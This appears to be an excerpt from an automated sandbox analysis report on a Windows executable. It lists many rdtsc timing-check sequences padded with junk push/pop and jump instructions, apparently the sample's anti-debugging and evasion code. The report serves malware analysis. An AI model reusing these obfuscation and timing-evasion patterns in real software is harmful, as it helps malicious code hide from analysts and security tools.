Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF86D second address: 11AF878 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F528074EBD6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF878 second address: 11AF88B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F528105F32Eh 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C0446 second address: 11C0456 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F528074EBDAh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C0456 second address: 11C0465 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007F528105F32Eh 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C7B0E second address: 11C7B14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C7B14 second address: 11C7B19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6DFE second address: 11D6E16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F528074EBE4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6E16 second address: 11D6E1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D74BD second address: 11D74FA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F528074EBDBh 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e jbe 00007F528074EBD6h 0x00000014 je 00007F528074EBD6h 0x0000001a popad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F528074EBE9h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D74FA second address: 11D74FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D74FF second address: 11D751B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F528074EBE0h 0x0000000b push eax 0x0000000c pop eax 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D751B second address: 11D7521 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D7641 second address: 11D7646 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D7646 second address: 11D7652 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 js 00007F528105F326h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D7652 second address: 11D766A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F528074EBD6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push eax 0x0000000e pop eax 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pop edi 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 push ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D824F second address: 11D8258 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D8258 second address: 11D8280 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F528074EBE1h 0x00000009 jmp 00007F528074EBDFh 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D8280 second address: 11D82AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F528105F326h 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d push ebx 0x0000000e jo 00007F528105F326h 0x00000014 pop ebx 0x00000015 jmp 00007F528105F331h 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DCA44 second address: 11DCA49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6A3C second address: 11E6A4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007F528105F326h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6A4E second address: 11E6A5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pushad 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F77C6 second address: 11F77CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12115E5 second address: 12115FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528074EBE0h 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1211760 second address: 121176A instructions: 0x00000000 rdtsc 0x00000002 jns 00007F528105F32Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12119DC second address: 12119E9 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F528074EBD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12119E9 second address: 12119EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1211E66 second address: 1211E6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1211E6C second address: 1211E7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F528105F32Dh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1211E7E second address: 1211E86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1211E86 second address: 1211EA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007F528105F326h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007F528105F326h 0x00000014 jnc 00007F528105F326h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12139E7 second address: 12139EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1216466 second address: 1216475 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528105F32Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1216475 second address: 121647A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1217BEB second address: 1217BF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1217BF1 second address: 1217C21 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528074EBE6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F528074EBE4h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1219A4B second address: 1219A57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1219A57 second address: 1219A63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F528074EBD6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1219A63 second address: 1219A68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1219A68 second address: 1219A83 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528074EBE5h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1219A83 second address: 1219A87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1219566 second address: 121956A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121956A second address: 1219573 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1219573 second address: 1219582 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121B4DE second address: 121B4E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B902A5 second address: 4B902CC instructions: 0x00000000 rdtsc 0x00000002 mov dx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 call 00007F528074EBE4h 0x0000000c movzx esi, dx 0x0000000f pop ebx 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B902CC second address: 4B902D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B902D2 second address: 4B90338 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528074EBE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F528074EBDCh 0x00000011 sub si, 6B48h 0x00000016 jmp 00007F528074EBDBh 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007F528074EBE8h 0x00000022 add ah, FFFFFFA8h 0x00000025 jmp 00007F528074EBDBh 0x0000002a popfd 0x0000002b popad 0x0000002c mov ebp, esp 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90338 second address: 4B9033C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9033C second address: 4B90340 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90340 second address: 4B90346 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90346 second address: 4B9034C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9034C second address: 4B90350 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9037D second address: 4B90383 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90383 second address: 4B903B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528105F332h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F528105F337h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B903B3 second address: 4B903DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528074EBE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F528074EBDCh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B903DF second address: 4B90420 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528105F32Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F528105F336h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F528105F337h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113195D second address: 1131982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 pushad 0x00000007 jmp 00007F528074EBE6h 0x0000000c jo 00007F528074EBDCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90470 second address: 4B904CF instructions: 0x00000000 rdtsc 0x00000002 movzx eax, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edi 0x00000008 pushfd 0x00000009 jmp 00007F528105F332h 0x0000000e or cx, F308h 0x00000013 jmp 00007F528105F32Bh 0x00000018 popfd 0x00000019 pop esi 0x0000001a popad 0x0000001b push ecx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F528105F331h 0x00000025 xor cx, EE26h 0x0000002a jmp 00007F528105F331h 0x0000002f popfd 0x00000030 mov dx, cx 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B904CF second address: 4B90500 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 mov al, B0h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e jmp 00007F528074EBE7h 0x00000013 mov ebp, esp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov esi, edx 0x0000001a mov di, 7572h 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90500 second address: 4B90536 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528105F338h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F528105F337h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90561 second address: 4B90567 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90634 second address: 4B9069F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528105F335h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov al, byte ptr [edx] 0x0000000c jmp 00007F528105F32Eh 0x00000011 inc edx 0x00000012 pushad 0x00000013 call 00007F528105F32Eh 0x00000018 pushfd 0x00000019 jmp 00007F528105F332h 0x0000001e adc ecx, 797A8518h 0x00000024 jmp 00007F528105F32Bh 0x00000029 popfd 0x0000002a pop eax 0x0000002b movsx ebx, si 0x0000002e popad 0x0000002f test al, al 0x00000031 pushad 0x00000032 mov al, BCh 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9069F second address: 4B9069F instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F528074EBE4h 0x00000008 sbb si, A6A8h 0x0000000d jmp 00007F528074EBDBh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 jne 00007F528074EB54h 0x0000001c mov al, byte ptr [edx] 0x0000001e jmp 00007F528074EBDEh 0x00000023 inc edx 0x00000024 pushad 0x00000025 call 00007F528074EBDEh 0x0000002a pushfd 0x0000002b jmp 00007F528074EBE2h 0x00000030 adc ecx, 797A8518h 0x00000036 jmp 00007F528074EBDBh 0x0000003b popfd 0x0000003c pop eax 0x0000003d movsx ebx, si 0x00000040 popad 0x00000041 test al, al 0x00000043 pushad 0x00000044 mov al, BCh 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B906D7 second address: 4B906DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B906DB second address: 4B906EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 sub edx, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B906EA second address: 4B906F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B906F0 second address: 4B90720 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528074EBDDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F528074EBE8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90720 second address: 4B9072F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528105F32Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9072F second address: 4B90784 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528074EBE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 dec edi 0x0000000a jmp 00007F528074EBDEh 0x0000000f lea ebx, dword ptr [edi+01h] 0x00000012 pushad 0x00000013 mov ax, 307Dh 0x00000017 mov edi, esi 0x00000019 popad 0x0000001a mov al, byte ptr [edi+01h] 0x0000001d jmp 00007F528074EBE4h 0x00000022 inc edi 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90784 second address: 4B907A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528105F339h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B907A1 second address: 4B907C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 jmp 00007F528074EBE3h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e test al, al 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov cx, dx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B907C6 second address: 4B907CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B907CC second address: 4B907D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B907D0 second address: 4B907F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528105F335h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007F52F1DE75BAh 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 mov ax, B2F9h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B907F8 second address: 4B9085D instructions: 0x00000000 rdtsc 0x00000002 call 00007F528074EBE6h 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushfd 0x0000000b jmp 00007F528074EBDBh 0x00000010 sbb ax, B79Eh 0x00000015 jmp 00007F528074EBE9h 0x0000001a popfd 0x0000001b popad 0x0000001c mov ecx, edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F528074EBE8h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9085D second address: 4B90863 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90863 second address: 4B90890 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528074EBDEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 shr ecx, 02h 0x0000000c jmp 00007F528074EBE0h 0x00000011 rep movsd 0x00000013 rep movsd 0x00000015 rep movsd 0x00000017 rep movsd 0x00000019 rep movsd 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90890 second address: 4B90894 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90894 second address: 4B9089A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9089A second address: 4B9089F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9089F second address: 4B90937 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movzx esi, dx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ecx, edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F528074EBE9h 0x00000013 xor ecx, 3A9A01F6h 0x00000019 jmp 00007F528074EBE1h 0x0000001e popfd 0x0000001f pushfd 0x00000020 jmp 00007F528074EBE0h 0x00000025 and esi, 366BAB18h 0x0000002b jmp 00007F528074EBDBh 0x00000030 popfd 0x00000031 popad 0x00000032 and ecx, 03h 0x00000035 pushad 0x00000036 pushfd 0x00000037 jmp 00007F528074EBE4h 0x0000003c sbb ax, 9578h 0x00000041 jmp 00007F528074EBDBh 0x00000046 popfd 0x00000047 mov ebx, esi 0x00000049 popad 0x0000004a rep movsb 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90937 second address: 4B9093B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9093B second address: 4B90952 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528074EBE3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90952 second address: 4B90993 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528105F339h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushfd 0x00000014 jmp 00007F528105F32Ah 0x00000019 and cl, 00000068h 0x0000001c jmp 00007F528105F32Bh 0x00000021 popfd 0x00000022 rdtsc
